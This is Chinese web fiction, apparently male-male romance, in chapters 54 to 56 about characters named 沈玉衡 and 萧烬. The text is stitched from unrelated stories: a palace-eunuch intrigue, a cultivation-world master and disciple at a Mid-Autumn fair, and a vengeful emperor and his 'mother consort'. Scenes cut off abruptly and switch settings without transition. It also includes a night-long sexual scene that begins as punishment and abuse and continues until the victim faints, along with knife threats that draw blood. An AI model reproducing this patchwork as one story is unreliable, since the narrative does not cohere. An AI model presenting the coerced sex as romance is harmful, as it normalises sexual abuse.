若是换做常人或者一般的大臣,可能此时就放开了沈丰,敢怒不敢言地任这阉狗施为了。 沈玉衡却不怵他,就是万不得已真的就地格杀了沈丰,也只是后续扫尾比较麻烦——要应付沈广的借机探查,以及把萧烬安置去个万全的住处罢了。 沈公有力的大手捏得更紧,把传召使肥胖的手臂截成了腊肠一般的形状,骨肉吱嘎作响,像是很快就要爆炸开来。 沈丰的额头上疼出了冷汗,却也僵持着没有立刻认怂。 他是不信沈玉衡真就这么胆大妄为,敢在府第里格杀他这宣召使的,便断断续续地搅和道:“这么大反应作甚,给哥哥看一眼又如何……” 沈玉衡见他不见棺材不掉泪,眼底血色更重,已彻底动了杀心,开始思索杀了沈丰之后的扫尾工作。 床幔里头,突然有了些动静。 极其轻细的哭声从床上传了出来,轻柔低哑,虚弱无力。 那好听的声儿不住地颤抖,像是委屈,又像是恐惧,嘤嘤啜泣道:“沈爷,你别把我送人,也别让外人看我……” 不见其人,只闻其声就是个柳若扶风,媚骨内秀的娇弱美人。 床内那美人边说,边伸出只光裸的手臂,慌忙地抓握上帘幔,却因紧张没能握住,滑了大半条胳膊出来。 洁白如玉的肌肤上染着许多青紫的痕迹,又飞快收了回去,这下才准确地抓住了两边床幔,颤着手压在床榻上。 一套动作满是惊慌,又柔弱无力,仿佛之前经受了天大的虐待,才成了如此弱不胜衣的模样。 沈丰看得眼睛都直了,飞快地打量了几眼边上身高腿长、力能扛鼎的沈玉衡。 床上之人依旧在细细哭泣,悱恻地控诉道:“你之前……说好倾慕于我才带我回来的,你若叫其他人看见我这副模样,还要把我送人……” 帐中人说到心碎处,哭得更是伤心欲绝,手上用力拉了把帘子,腿脚似乎也是用了力,都把床上的东西踢了下来,低低地呜咽道:“我就咬舌自尽,全当一腔痴心错付了,我们天人永隔,一别两宽……呜呜呜……” 说完便伏在床榻上,小鹿般地啼哭,全然是被负心人给伤透了颗玲珑心的模样,任谁见了都要心生恻隐。 沈玉衡的整张俊脸都沉了下来,他即使知道萧烬是在做戏,心头也漫上了疼痛。 要不是为了替他解围,萧烬何须伪装成一个肮脏卑劣的阉宦意中人。 世人皆嫌阉宦肮脏,就连娼妓都不愿接待;那些跟了阉宦的妻妾,背地里是要被人耻笑,指指点点,说下贱的。 他家少爷世家公子,皎如明月,却为了他要装成贱人,刻意让沈丰带着邪念去遐想。 如今沈玉衡的“屋里人”闹得不可开交,沈丰只要不想和沈玉衡彻底结成死仇,便再不会强行地窥探。 沈玉衡强忍住对主子的心疼和内疚,做出心上人被欺辱的架势,重重地推了把沈丰,把人往门扉上掼。 他厉声喝道:“沈丰,滚出去!” 沈丰被掼得背后的肥肉像被锤成了肉松,四处泛着打板子一样的疼痛。 但痛归痛,心情却是雀跃高兴的。 多少人想在沈玉衡这里套出点秘辛来,只有他今日做到了。 沈丰回想床上之人身上的痕迹,还有从床榻里掉到地上的半截蜡烛,以及沈玉衡那毛头小子般的反应。 沈丰陪着个疼痛的笑脸,吸着气道:“这……哥哥没想到你这美人性子挺烈啊……你这是动真情了?” 本朝是不禁宦官娶妻纳妾的。 只是阉人行事上得不到身体的爽快,便只求心里面酣畅,即便是对明媒正娶的妻子或者正君也手段颇多。 又捏又打,还玩些情趣,把人折腾得下不了床才是真的宠爱着呢。 沈玉衡见了沈丰一脸猥琐的模样,手指已经摸上了腰间的短刀,又慢慢松开。 他反手提了刀鞘拍在沈丰胸口,把人撞开门扉,推到外间,眼尾和面颊都泛着怒红,目如寒衡,银光凌冽。 他冷冷地道:“滚,再侮辱他,你的头便留在这里!” 沈玉衡握紧短刀,甩开刀鞘,小刀在烛火下流光四溢,直指沈丰咽喉:“圣旨留下,你滚回去。” 沈丰脖颈一凉,伴着些微疼痛,像是被划了个口子。 他这时候也不敢再惹毛情窦初开的小伙子了。 但凡是个人,在心上人面前都是要逞凶斗狠的,况且阉人还有些情绪激动的毛病,沈玉衡又是个打过仗、杀性重的。 万一一言不合,沈玉衡头脑发热,手起刀落,他沈丰的命却只这么有一条。 沈丰后退一点,避开刀锋,把诏书递给沈玉衡,老老实实地道:“圣上让你做京营提督,还给了些赏赐。” 沈玉衡一把接过,随口谢道:“奴婢接旨,万岁,万岁,万岁。” 周围仆役跪了一地,也跟着高声唱念。 至于沈玉衡跪不跪——三跪烬磕、焚香请位本就是做给宣召使看的,是为了让公公转达家族对皇帝的恩德多么重视而做的面子功夫。 当今大内还有谁比沈大伴和皇帝更亲近的? 就是沈丰要拿这事去和新帝搬弄是非,都要担心这石头可能砸了自己的脚。 沈玉衡收回刀,打开诏书一看:沈广的笔迹,难怪找沈丰来下旨。 他兴致缺缺,扫了眼沈丰:“你回宫吧,多贤,送沈丰公公一程。” 沈丰顺着沈玉衡的目光,摸上自己的脖子,抹到了满手鲜血和一片刺痛,却也不敢发作,只是讪讪地道:“圣上还有些体己话让咱家带给你。” “说。” 沈丰现在是完全不敢作妖了,只想保住人头,把探查到的消息带给义父沈广。 他老老实实地道:“圣上让咱家和弟弟说:今早之事一笔勾销,大伴若是得空,早些入宫谢恩。” 沈玉衡心里头冷哼一声,面上淡淡地应道:“奴婢知晓了。” 沈丰望了望沈玉衡,又摸了两下豁了口的脖子,关怀地道:“圣上是心疼你头上这些伤呢,伤药也赏赐了好些,你回头自己处理了,莫要留疤。省得圣上见了就懊悔,今日是心疼你,来日或许就觉得你在挟恩图报。” 这倒是句人话。 但沈广手下这些义子,相互之间本也没什么兄友弟恭的。 彼此更像是竞争对手,聚在一起便是拆台陷害,以求在沈广面前得脸,拿到更好的差事。 沈丰今日被这般打杀还能陪个笑脸关心,来日若是沈玉衡势弱,沈丰必然是要百般讨要回来的。 沈玉衡懒得与趋炎附势之人虚与委蛇,唤道:“多贤,送客。” 沈丰也不再强留,捂着脖子,笑眯眯地道:“干弟弟,告辞,春宵苦短,哥哥便不叨扰了。” 多鱼捡起地上的刀鞘递给沈玉衡。 沈公收刀入鞘,听了沈丰这句道别,差点没一刀飞出,扎得沈丰透心凉。 但到底沈丰今日走出他的府第,要比死在他的府第里,能少上许多不必要的麻烦。 沈玉衡重重地将刀刃送回鞘中,眯起了双眼,眸子里翻腾着死水般深沉的杀意。 先帝的大部分嫔妃,不论男女,都是这个结局。沈崇听着觉得惨淡,沈玉衡却求之不得。 难得有这么悠闲的时候,沈玉衡赖在床前,和沈崇聊了很久。 死士终于忍无可忍,把沈玉衡叫了出去。 沈崇坐起身,视线追着沈玉衡:“这就走了啊?再进屋坐坐啊。” 沈玉衡挥手:“轿辇都在外面等着呢,爹,等我安定好了再抽空回来啊。” 沈听澜轻轻踹他:“好了好了,你出去吧,别把这群人急死了。” 沈玉衡被他催促着上了车,眼巴巴地望了他几眼,又被蒙住眼睛。 这一次,车夫没有询问他要去哪儿,恐怕,是要把他送回宫里了。 不过…… 沈听澜说的,萧烬不会杀他,是什么意思? 不杀他,留着他,对萧烬来说……有什么好处吗? 第 54 章 第 54 章 54 回宫的一路上,他没能再见到苏澄。 沈玉衡询问过车夫,还有在宫门口接应他的死士,得到的回复一概都是:“属下不知。” 看他们的表情,应该不是“不知”,而是觉得他不该知道吧。 沈玉衡也没再自讨没趣,他默默跟着那些人进宫,远远听见一个方向传来畅快的笑声。 新帝登基,最快活的就是那些站对位置的人。 虽然伴君如伴虎,但他们的处境,也比沈玉衡相对好一些。 萧烬虽然残暴,但对那些可以利用的棋子,还是抱有一定的宽容。 萧烬睁开眼睛时,天光大亮。 阳光丝丝缕缕地透过床幔,填满床帏内的四方空间。 他缓缓动了动脑袋,耳边依然有些杂声,手脚沉重,只能微微动弹。 身体却不再感觉寒冷,肚子也没有饿到发慌。 好像脸视线都清晰了很多。 能大致看出些东西的轮廓:深色的木头床顶,青绿色的床幔,以及花纹浅淡的锦被…… ——此处不是冷宫的破旧柴房,也不是高如天堑的赤红宫门里面。 他醒在了一床柔软的被褥里。 周身温暖轻飘,像是睡在云端之上。 又像是……做了一场黄粱大梦,他醒在了六年前的萧宅小院里。 但世事到底不是一场大梦。 屋外依旧钟声阵阵,一杵接着一杵,昭告着天子与世长辞。 萧烬听着朦胧的钟声,慢慢回忆起了昏睡前的那场混乱。 他在完事之后,意识就有些不清楚,只记得后来他又犯了风症…… 但具体的经过他实在记不清。 怎么发作的,怎么好的,都像隔着层水雾一样绰绰约约…… 只希望他太丢人的样子没被宋维谦看到。 ——就是看到了也没办法,反正那种样子也不是没被人看见过。 他刚惹了老皇帝不快时,只裹了条被子让宦官给扔回了清凉宫里,赤条条地犯了好久的风症。 周围宫人们听闻凤止要被禁足,生怕走晚了一起被关在冷宫里,赶急赶忙地拾行李,在他周围走来走去,还把他身上的锦被也抢走了…… 这等往事,光是想想就头痛欲裂…… 反正他的里子面子早就丢完了。 宋维谦年少与和他相识,后头又医治了他好些年,他什么狼狈的样子宋维谦没见过? 看了就看了……吧。 萧烬幽幽盯着床顶,反正这破烂身体,他已用了二十几年,除了且用且珍惜,少抱怨多休养之外也无可奈何…… 再多不好,也是陪了自己这么多年的情谊。 青色的床幔被掀开了一点,露出个小小的人影来。 多鱼见萧烬睁着眼睛,问道:“萧公子,醒了吗?” 萧烬逆着光辉,浅笑着道:“晨安,多鱼小公公。” 现在已快要黄昏,但多鱼还是顺着话头道:“晨安,萧公子。现在感觉身子如何?” 萧烬轻轻笑了笑,音调轻缓虚浮,气音极重,却又如鸣环佩一般得好听:“尚可,没有哪里太过难受。” 多鱼仔细观察,发现贵人确实比起昨夜好了许多:呼吸匀称了不少,脸上和嘴唇上都泛着漂亮的红晕,眼睛乌亮亮的,极有神采。 ——比他在宫里见过的几位嫔妃娘娘都要漂亮千万倍;也不知道先帝怎么舍得的,竟把这么个天仙似的人儿给关到了冷宫里。 “宋太医昨日说,今日公子能清醒过来,便没有大碍了。公子此次化险为夷,定会洪福齐天。” 多鱼是个嘴甜的,他说了串吉祥话,正事也没拉下,殷勤地问道:“萧公子可要喝点水?或是方便解手?” 萧烬轻轻地问道:“……沈公,他人呢?” “沈公去了宫里,昨夜皇上召他进宫伺候了。”多鱼答了,又关心地道,“萧公子想要起身吗?奴婢扶你坐起来?” 萧烬思量片刻,点点头道:“劳驾多鱼公公了。” 多鱼被贵人客客气气的话语说得小脸通红,他连连摆手道:“萧公子不必客气,奴婢就是沈公派来照顾公子的,您放心使唤奴婢就好。” 他身量不高,手脚倒是十分麻利,难怪能得到沈玉衡的赏识。 多鱼卷起床幔的动作快捷轻柔,几乎没有声响,然后三两下把软枕堆好,整理舒适了,半扶半抱地让萧烬靠在垫子中间。 萧烬虽是醒了过来,身上依然没有太多的力气,只是歪歪地陷在垫子里,乌发散在雪肤素衣周围,别有一番病态的清隽柔美。 他眯眼望着透过窗纸的绚烂日头,轻声问道:“如今……是哪位当了皇上?” 多鱼回道:“是沈公之前一直伺候着的三皇子,如今沈公也是天子大伴了。” 萧烬在冷宫时能知道的时事不多,基本都是在宫门内听门口两个小黄门聊天得知的。 那两个小黄门喜欢吃什么喝什么他都知道得一清二楚,大事上却知之甚少。 毕竟后妃不可议政,宦官便不会在此处讨论政事,以免不小心叫后妃听了去,之后被问责。 以至于他有很长时间,都怀疑掌印太监沈玉衡不是他家的小玉衡……更别说知道沈玉衡一路跟过哪些主子了。 但听闻故人过得风生水起,无疑是个绝好的消息。 萧烬舒展眉眼,徐徐笑开:“他是自有一番造化的,可算是熬出来了……” 多鱼的主子乙突然夸了主子甲,他作为一个十项全能的好奴婢自然是要捧场的。 小多鱼拍起手来附和道:“是极是极,如今怕是沈广公公都没沈公风头盛了,过不了几年,内廷必然是沈公的天下。” 萧烬见他活泼可爱的样子,不由地跟着笑了几声,眼波流转,顾盼神飞。 多鱼眼睛看得发直,连忙甩甩脑袋,问道:“萧公子还有什么需要奴婢做的吗?沈公说让萧公子不要客气,尽管把奴婢当小厮使唤,奴婢的活计都是沈公亲手教的,一定不会让萧公子感到不适。” 萧烬愣了会,视线下垂,重重喘了口气,轻轻说道:“我想小解,劳烦多鱼公公……” 萧烬从前用玉衡用惯了,后头到宫里也没让內侍贴身伺候过自己。 只是如今沈玉衡已经位极人臣,成了皇帝的伴伴…… 若他还是强行等着玉衡来伺候,不愿让别人接手,只会给玉衡造成麻烦……也辱没了玉衡中贵的身份地位。 多鱼看出萧烬有些不自在,撅着屁股拿出玉虎,嘴里插科打诨地道:“贵人不要客气,公子若是用不上奴婢,奴婢便只能回宫里洗恭桶了,贵人多多使唤奴婢,奴婢的心里才踏实呢!若是公子觉得奴婢好使,愿意向沈公美言几句,奴婢便是昼夜不息地伺候萧公子也有使不完的力气。” 萧烬被他逗笑,心头微松,承情地道:“若有机会,我一定向沈公夸赞小公公。” 多鱼高兴地嘿嘿一笑,小手搭在被子上,打招呼道:“萧公子,奴婢冒犯了。” 萧烬点了点头,多鱼便轻手轻脚地掀开被子,伺候贵人小解。 水声过后,多鱼将被子好好盖住,目不斜视地带着玉虎离开。 萧烬抬起眼帘,眼角落了一些羞红,温温柔柔地笑道:“多谢小公公。” 多鱼脸色顿时红的番茄一般。 他心想难怪沈公对萧公子忠心耿耿,若是他遇上这么个温柔貌美的主子,这辈子也不舍得离开! 哦,萧公子现在已经是他的主子了! 多鱼心中美得冒泡,道了几句当不起,扬着银铃般的笑声,乐颠颠地跑远了。 萧烬望着床下忙碌的小小身影,果然和当年玉衡的动作差不了太多,就连周围的陈设也与萧宅的小屋有几分相像。 他不由地问道:“我如今是身在何处?” 多鱼将玉虎放到外间,关上门走回来,边洗手边回道:“萧公子,你如今在沈公御赐宅邸的主屋里头住着。” 他卖力地说着主子甲的好话:“沈公说他不能让主子睡侧屋,好些日子之前就把屋子都收拾成萧公子喜欢的模样呢,连床头都放了几本医书和游记……” 他想起萧烬现在眼睛不好,连忙打了自己几个耳光,告罪道:“呸呸呸,奴婢一时嘴快,请贵人恕罪。” “啪啪”几声,听得萧烬心惊肉跳,他用力伸了伸手,却也抬不起多少,只好急急地喘着气,道:“别打坏了自己!” 多鱼放下手,露出被自己打红的脸蛋。 他也没用多少力,就是听起来响,这都是宫里生存的小窍门。 可此时他见了萧烬真心实意担心的模样,又心虚起来,宽慰道:“萧公子,奴婢没用多大力气,不疼的。” 宫人的生存条件严苛,一言不合就是下跪掌掴,请求主子责罚。 萧烬轻轻地叹了声气,也不知道他家的玉衡在宫里,是不是如同多鱼一般,经常要受这样的委屈。 他轻声地对多鱼道:“和我不必如此拘礼,好好的身子便不要再折腾了,若是不慎伤到了根本,后悔都来不及,往后莫要再伤及自身了。” 多鱼鼻子一酸,泪眼汪汪地道:“奴婢知道了,萧公子……” 萧烬看着多鱼那张模糊的脸,到处都是红艳艳的。 他叹了口气,安抚了几句,又继续问道:“此处是御赐的宅邸,是沈公自己住的宅子吗?他把我放在了自己的宅子里?” 多鱼伸出拳头,拧了两下眼睛,又恢复了欢快的语气,回道:“宫人的一切都是天家给的,沈公不能置产业和宅邸,他只有这一处宅子。” 他见萧烬眉头皱起,连忙开解起来:“公子别担心,主院的下人全都是好生排查过的可信之人,昨日之事也早就和下人还有府医对好了说辞,即使有人问起,外人也探查不到萧公子的身份。” 萧烬被宽慰了些许,但心里依然不太踏实。 多鱼见萧烬嘴唇抿起,像是有些干燥,再次问道:“公子可要喝水?” 萧烬松开嘴唇,思忖着道:“麻烦先叫府医来看看我吧,估计大夫需要要先看舌象,喝了水舌象便不准了。” 多鱼应了一声,道:“宋太医还留在府第内呢,奴婢去叫他来。” 萧烬听闻友人居然还在,展颜微笑,柔声道:“那就劳烦小公公了。” 多鱼连连摆手,迈着欢快的小碎步就往屋外走去。 萧烬靠坐在床头,慢慢把颤抖的双手搭到腰腹上面,歪歪扭扭地叠好。 如今他已清醒,屋内又无人,正好可以好好思一下这两日发生的事情。 萧烬在冷宫里是被水直接给泼醒,然后强行灌了鸩酒下去的。 那时他以为自己是真的要死了。 再也不必为多活几日而挣扎,多要一口饭而颜面尽失。 虽有不甘,却也是释然的。 但若是这条早该断绝的性命,之后拖累了两位故人,让沈玉衡和宋维谦惹上了杀身之祸…… 他这条命却也不是非活不可。 毕竟入宫六年,他在此世间已没什么念想…… 能再次见到故人,已是了无遗憾了。 萧烬挺身。 他与沈玉衡终于合二为一,萧烬只觉得自己头皮发麻,沉沉从喉咙呼出一口浊气。 不知不觉,沈玉衡的肩已经被他紧紧环住。 这些肮脏的事,那些记忆里交缠的影子,生他的父母,同胞的兄弟,一遍遍翻滚徘徊,全都搅为了令人眩晕的光影。 萧烬咬着牙,拼命想要驱逐那些鬼魅。 一只颤抖无力的手忽然轻轻拍了拍他的肩,下一秒,又因为他的动作紧绷了手指,几乎不能握紧。 他低头看了看沈玉衡,下颌滴下来的汗水恰好与男人的泪水交融。 停顿了几秒,萧烬伸出手,挡住了他蒙着雾气,却仍有几分清透的双眸。 他不喜欢沈玉衡的眼睛,装凶都装不好,温柔的像是在怜悯什么可悲的东西。 他……更不喜欢那个被怜悯的可悲的东西。 第 55 章 第 55 章 55 这场占有几乎持续了一整夜,沈玉衡到后来已经晕过去好几次,感觉自己好像乘在浪心的一艘小舟,在沉浮间逐渐迷失了方向。 清晨,斑驳的晨光照亮了室内。 他疲惫到指尖都动弹不得,刚刚恢复的体力全都喂了狗,除了睡觉什么也不想做。 刚刚睡着,却突然又被扶住腰,沈玉衡颤了一颤,连躲避的力气也没有,少年的身体再次压了上来。 初次尝到的禁果滋味太过诱人,但是一想到沈玉衡从前和他的父皇也做过这种事,萧烬就越是无法克制自己。 比起已经年迈的父皇,他和沈玉衡的身体更加契合才对。 忘记了惩罚和施虐的初衷,谁也没注意到这件事的性质已经彻底变了味。 他压着沈玉衡又做了几次,一直到青年沙哑的喉咙再也喊不出一点声音,体力透支到晕过去为止。 看见沈玉衡前额被汗水打湿的发丝,萧烬凑前了一点,却又不知道自己是想做什么,生硬地停顿在半空。 和情动时肆意而为的亲吻不同,两人的身体已经抽离,如果再有亲吻,又算什么? 萧烬皱起眉,生硬地和他分开了距离。 尽管他真的很想尝尝他。五天后,鸟雀未醒的清晨,一阵敲门声吵醒了睡梦中的二人。 萧烬睡在里面,不方便出去,可在外头的沈玉衡又缩在被子里,死活不肯下床。 少年凑到他耳边,小声提醒说:“师父,有人敲门。” 沈玉衡心中挣扎了一会儿,最后还是败给了这温暖的被褥,缩成了一个小团,小声咕哝道:“……你去开吧。” 萧烬见他还困得迷糊,也不怪他——自从知道他每晚结束练剑都会回屋后,沈玉衡总是等到了他才会睡。 少年绕到床尾,起身开门,将急性子的娇玉兰迎了进来。 娇玉兰一看开门的是他,立刻又朝里面张望了两下,调皮一笑,冲着那一团圆圆的被窝喊:“仙公,怎么你家小公子都起床了,你还窝在床上不出来呢?莫不是昨晚过得太劳累……” “春困秋乏夏打盹,懂不懂……”沈玉衡从被子里探出头来,一双倦眼,疲惫地盯着一脸看笑话的女孩。“君自心找到了?” “那可不?” 娇玉兰一点不拘谨,搬了个凳子坐在二人中间,忽然又故作正经,一脸严肃地说:“你们可听好啦?中秋那天,中心街边的河道游船,君少爷在那儿办了一场宴会,只有在那儿才能找得到他了。” 沈玉衡勉强坐起身子,他的长发还未打理,随性地散落在宽大的衣衫两侧。他性子这般随意,也难怪总是被错认为那些流连花柳巷的颓废公子哥。 他问:“一定要中秋?今天就不能去了?” “只能是中秋,君少爷他平时可忙了,就连我们都难找得到。” 娇玉兰叮嘱道,她说话时,眼里竟是都要放出光来。 “仙公,你找他到底做什么呀?要是你们谁有事……不去了的话,能不能换我过去呀。” 沈玉衡好笑地说:“丫头,那君自心是给你下了蛊了吗?” “什么下蛊,你肯定是没见过他。” 娇玉兰眨了眨眼,一对水眸,好像要从里头掉出星星来。她才十几岁,正是青春可爱,憧憬浪漫的年纪。 “我还不知道那君家竟然有位这样俊的公子,那时我正在君府外头张望呢,正巧就撞见他出门……” 不等她说完,沈玉衡就身子一退,重新缩回了被子里。 “……仙公!这可是你要找的人,你就一点不好奇他吗?”娇玉兰闹起脾气来,“而且,听说他才二十来岁,剑术便已是江南第一,实在是厉害!” 沈玉衡一点儿没把这放在心上。毕竟论剑术,有谁比得过他这剑痴徒弟? 但为了早做准备,他还是顺着少女的话问了下去:“玉兰,那君少爷除了剑术,还有没有什么喜欢的?” “嗯……这就不知道了。” 娇玉兰苦恼地闭目凝思,随后又道:“我只知道,那君老爷顽固得很,不让他练剑,两人为此还大闹了一番。” “不奇怪。”沈玉衡回答,“这府上都死了两个姓君的小孩了,他做父亲的也是怕了。” 娇玉兰两眼一亮,又缠着他问了好些时候,才肯离开。 她一走,萧烬才稍许放松下来——对沈玉衡以外的人,他仍是下意识地疏远。 “师父怎么看?” “容易得很。”沈玉衡依旧缩在被子里,险些又要睡去,“我们中秋再出门,到时候再定办法。” 萧烬有些疑惑地看过去,心中的疑问踟蹰许久,终于问出了口。 “中秋……是什么” ……??? 沈玉衡很是惊讶地从被单里冒出了半截脑袋:“萧烬,你小时候,不是一直住在凡界的村子里吗?” “上山前的事,记不太清了。” 沈玉衡想起在庆丰村时,他们母子二人的小屋十分偏僻,兴许也和其他村民没什么接触。 “就是团圆的日子。”沈玉衡解释说,“八月十五的时候,月亮是最圆的,所以凡人觉得,这个日子要和家人一起度过。” 萧烬喃喃问道:“……一起做什么?” “随便做什么,吃月饼?或是单纯看看月亮,他们就会觉得满足。”沈玉衡闭上眼,心思已然随着话题飘远,“萧烬,过几天的中秋灯会,你想去吗?” “可我没有家人。” 萧烬回答时,既不是为了博取同情,也没有感到悲伤,他念白似地说出这六个字,麻木的心,早已掀不起波澜。 沈玉衡的眉眼微张,藏在暗处的双眼,泄出了几分他人难见的温柔。 “以后的中秋,我都可以陪你过。” 以后? 以后是多久?是永远,还是会有某一个尚不明确的期限? 沈玉衡的约定,重新拉回了少年的沉默。 他并非全然不谙世事,也明白万物有始必有终的道理,但也就是因此,他才会为这个毫无保证的约定而不安。 “我……” 萧烬抬头张口,却又停了声——微弱的呼吸声响在被褥中响起,才一会儿的功夫,沈玉衡竟是又迷迷糊糊地睡了过去。 他走近,看见这人把自己包的像个粽子,只露出半截脸来,也不禁觉得好笑,扬起了嘴角。 萧烬静静坐在一旁,在心中,短短地回了一个‘嗯’字。 萧烬觉得自己变了,可要他说究竟哪里变了,就又是一件难事了。 他看向墙上的万年历。 至少,只在此刻,在他漫长的生命中,他开始骐骥那些遥远的,尚未到来的日子了。 ……因为一个人。 顺着沈玉衡所指的方向,萧烬慢慢挪开步子,将他托抱前行。 沈玉衡越过人海,寻着卖花灯的铺子,但他视线所及,却忽然有了变化。 左晃晃,右晃晃,左晃晃,右晃…… 沈玉衡的注意稍稍下移,才发觉少年抱着自己的动作并不安分,总是动来动去,晃得他眼都快花了。 趁着他又想侧身,沈玉衡当即滞住他的动作,顺带还手指一勾,低头敲了敲他的眉心。 “萧烬?你动什么呢?” 萧烬目光斜视一边,他并未回答,只是念过一声“小心”后,迅速将怀里的青年抱到了另一边。 沈玉衡警惕地看向他身边一侧,这儿水泄不通,车马难行,连旁人面孔都看不清,难道还能藏着什么危险? 他正这么想着的时候,忽然,就有三两个闹腾孩子闯出。他们不顾旁人恐惧的视线,手上挥舞着从食铺那儿得的长竹签子——好巧不巧,就从沈玉衡刚刚的位置奔过。 萧烬见他一下怔住,淡淡解释说:“别被戳到了,疼。” 这些臭孩子显然不讨任何人的喜欢,从他们周围窜过一圈后,又一个箭步撞入了人群之中,那毫不顾忌,四处乱戳的尖竹签,当即引出一片惊叫与抱怨。 沈玉衡的注意却不在于此,他低头捏起少年的脸颊,试探问道:“神识出体?” 手里的脑袋点了点。 神识出体,灵感四方。 方才萧烬正是将神识引出体外,才能预知到那几个倒霉孩子的出现。 只是这等上级心法,所需要的悟性非同小可,绝非普通修士能轻易掌握的。 萧烬才只有金丹中期,居然就能学会这样上乘的心法了? 沈玉衡心里是喜的,但却又扯了扯少年脸颊上的嫩肉,追问他:“什么时候学会的,怎么不告诉我?” “……刚刚,下船了才发现的。” 萧烬说得有些犹豫,他想了想,又道:“师父不喜欢的话,我就不用了。” “我是不乐意学这个,但你又不一样。” 沈玉衡收回手,抵在他肩上,看向身后一片灯火阑珊,群影相背,不自觉地笑出了声。 “你喜欢什么,爱什么,所有,我都全盘接受,没有例外。” 萧烬喉间梗了梗。 在万千的百岁修士中,他二十出头的年纪,只能算是一个过分年轻的孩子罢了。 也正因于此,沈玉衡口中的‘所有’究竟囊括了多少,他也尚不能明白透彻。 但这心中留有的些许温存却不会骗人。 萧烬自己都没发觉,他已经对这人亲近起来,他稍稍施力,将沈玉衡紧抱在身上,顺着神识所探寻到的一条小缝挤去,很快便脱离了人海,来到了众多云集的摊贩跟前。 四周人一少,沈玉衡便扶着少年的肩,重新站到了久违的地面上。 他左右看了看,摊头间烟云缭绕,发觉这儿是一条小吃街,离卖兔子灯的一定还有些距离。 沈玉衡刚抬脚要走,就被一阵甜香吸走了神。 “客官,刚出炉的点心!看两眼吧!” 他走上前,指着蒸笼问:“老板,你这都有什么点心?” “多嘞!” 正揉着生面的老板朴实一笑,拍开手上的面粉,将蒸笼盖一掀,“刚蒸好,都香得很!二位瞧瞧,想吃点什么?” 蒸笼一开,一层白雾虽淡却香,扑在人面上,温香萦鼻,不免将周围游人的脚步诱停于此,纷纷上前看个究竟。 再往里一瞧,各色糕点形态各异,不光闻起来香,卖相也都极佳。 眼看要排起队了,沈玉衡忙回头问:“萧烬,有什么想吃的?” 在众多做成动物图案的糕点中,不出意外的,萧烬默默点向了其中一只小巧可爱的粉色小团。 这家店的兔子糕十分精致,两只尖尖的小耳朵晶莹透亮,用红豆在面团两边点出一对小眼睛,身下还垫着一小折荷叶形的叶片。 这样想来,不光是点心,就连纸灯,萧烬挑的都是兔子款的,果然是因为…… 萧烬这么喜欢兔子? 沈玉衡在心中暗暗记下,顺带画了个重点符号。 萧烬视线下移,默默盯向他不知为何突然心情大好的脸色。 ……他的师父,好像又发现了什么奇怪的事。 这几天,萧烬一直在帮他上药,这份超乎寻常的耐心,就已经让沈玉衡十分意外了。 说不定他们之间,还没有到一定要分出个死活的程度。 弥漫着压抑气息的空气里,萧烬突然打破沉默:“朕也有一事要告诉母妃。” 少年压迫感的话语,尾音略显微妙的上扬,不加掩饰的愉悦,残忍的恶意。 他微微俯身,骨节分明的手指挑起沈玉衡的下颌,语调漫不经心却带着刺骨的寒意:“多亏母妃随身带着的那张地图,那些逃出朕手心的叛军藏身何处……朕一清二楚。当然,岳枫成了他们的将领,母妃不必再装作不知情。” 沈玉衡的身子一僵,脸色瞬间惨白。 那张地图……是岳枫偷偷送给他,让他平安回京的图纸,原本被藏在马鞍夹层里,如今却被萧烬找了出来。 可要不是为了带他离京……要不是那些叛军盯上了岳枫的名声,岳枫也是岳家名将,何至于此? 他抓住萧烬的龙袍,试图求情:“陛下,岳枫他并非自愿,他也是被叛军逼——” “母妃说的是什么话?”萧烬毫不留情地抽回手,眼神冷漠得仿佛利刃,不容置喙的语气:“朕要是放过任何一个叛军,岂不是要让天下臣民寒心?” “明日起,朕会昭告天下,因母妃提供图纸有功,特赦母妃死罪。” 萧烬缓缓直起身子,居高临下地看着他,语调平静,却透着压迫人心的冷酷:“至于岳枫和那些叛军,朕会倾尽大军,追杀至天涯海角。一个都不会放过。” 第 56 章 第 56 章 56 从第二天起,沈玉衡果然得到了萧烬的“奖赏”。 陆陆续续有许多宫人来到清濯殿,将空置几天,已经落灰的各个房间打扫干净后,又搬来了无数看着就穷奢极侈的陈设摆件,金银像流水一样不停地往库房送。 好多小宫女都偷偷跑来看这奇景。 连先帝的宠妃,也没见过谁有过这样的待遇。 沈玉衡却只是坐在院子里的石椅上,看着他们来来往往,完全置身事外的淡漠。 自从上次争吵过后,萧烬有几日没来过了,据说是朝臣们因为新政的决策出了分歧,已经吵了好几日了。 其实沈玉衡有点意外。 景裕并没用尽全力去打人。 他本就哭得和个泪人似得,半点力道也使不上,还花拳绣腿地乱挥一通,顶多只能算是泄愤。 沈玉衡低着头任由景裕抽打,诚恳地道:“奴婢罪该万死。” 他低了低头,让景裕打得更加顺手:“只是陛下小心累着了手,若是心中不快,可差其他宫人对奴婢用刑,莫要伤了圣躯。” 景裕长长地抽泣一声,停下了打人的动作,一头栽进沈玉衡怀里,愧疚地哭道:“朕……朕不想罚你的,朕不舍得罚你,你是朕的伴伴啊!朕不是有意的……朕知道,朕只是……” 他语无伦次地说了一通,颤声道:“让他们都下去,朕只要你陪着。” “是。” 沈玉衡的纱帽被景裕打歪了一点,他不去扶帽子,也没有擅自去扶景裕。 他只是规规矩矩地跪着,对其他宦官道:“你们先下去,圣上交给咱家便可。” 其他几个宫人见新帝情绪失控,还把最宠信的沈公打骂了一通,也不想再多留,以免之后成为殿内两人的泄愤对象。 內侍们连忙低头出了寝殿,各司其职地在殿外守岗。 景裕见那些宦官全都走了出去,才细细地哭道:“沈玉衡,朕真的好害怕……朕梦见父皇了,他追着朕骂我大盗窃国……还要我把皇位还给吴王……” “我,朕好怕……所以才一直想见你,那些内侍都比不上你让我安心……” 景裕哭着哭着就钻进了沈玉衡的怀里,雏鸟一般寻求庇护。 沈大伴无喜无忧地垂下眼帘,伸出手掌,拍抚了两下新帝的肩背,劝道:“陛下刚经历风木之悲,伤怀于心也是常事,莫要爱思过重,仔细伤了龙体。” 他又拍了几下,安抚道:“吴王被废太子,早无继承大统的可能,陛下继位是天命所归,百官请命,陛下无需忧心。” 景裕感受到了大伴的轻拍和怀抱,整个人都安静了许多,乖乖地窝着不动,手指攥紧大伴的衣袍。 小天子吸了吸鼻子,不放心地问道:“但是吴王知道是我们害的他……他之后会不会回京杀我,然后把皇位抢走?” 沈玉衡道:“藩王无诏不得进京,陛下不让他来,他私自上京便是谋反刺杀的大罪,可直接处死。” 